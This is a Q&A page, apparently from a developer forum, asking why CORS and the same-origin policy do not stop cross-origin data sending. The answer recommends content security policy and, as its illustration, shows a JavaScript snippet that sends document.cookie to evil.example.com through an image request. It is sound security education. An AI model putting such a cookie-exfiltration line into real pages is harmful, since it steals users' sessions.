Search code examples
javascriptcross-domaincorssame-origin-policy

Why does CORS allow sending data to any server?


I spend some time to understand how Cross-Origin-Resource-Sharing works, and I cannot believe how this could be designed so insecure.

When a website hosted on foo.com wants to request a resource which is stored at bar.com via ajax, the browser asks bar.com if the request is allowed. Only if bar.com explicitly allows asynchronous requests from foo.com (via the Access-Control-Allow-Origin response header), the resource is delivered to the client.

It´s not a security problem if data should be read. But if data is sent to the requested server, it is.

In the past, if a hacker successfully inserted JavaScript code in a website to steal cookie data or other informations, the Same-Origin-Policy prevented that he could send the informations to his own server directly.

But thanks to CORS, a hacker can directly send the stolen information to his own server just by enabling any origin.

I know, CORS is still under development, but already supported by almost all major browsers. So, why is CORS designed like this? Wouldn´t it be much more secure, if the originating server is asked for permission to send ajax requests?

In my oppinion, this is a degradation of security. Or is it not? All "known issues" I found related to CORS are about weak configuration on the requested server.


Solution

  • The same-origin policy is designed purely to prevent one origin from reading resources from another origin. The side effect you describe -- preventing one origin from sending data to another origin -- has never been part of the same-origin policy's purpose.

    In fact, sending data to another origin has never been prohibited, ever, from the very beginnings of the Web. Your browser sends cross-origin requests all the time: any time it encounters a cross-origin <img>, <script>, <iframe>, etc. The same-origin policy simply restricts scripts' ability to read these resources; it has never restricted the browser's ability to fetch them and show them to the user.

    Consider the following code:

    var img = document.createElement("img");
    img.src = "http://evil.example.com/steal?cookie=" + document.cookie;
    

    This creates:

    <img src="http://evil.example.com/steal?cookie=SESSION=dfgh6r...">
    

    which will send cookie data to evil.example.com when it is added to the page's DOM. The same-origin policy has never, ever prevented this kind of behavior.

    If you are interested in whitelisting origins that your page is allowed to send data to, you want a content security policy, which was designed explicitly as an XSS mitigation mechanism.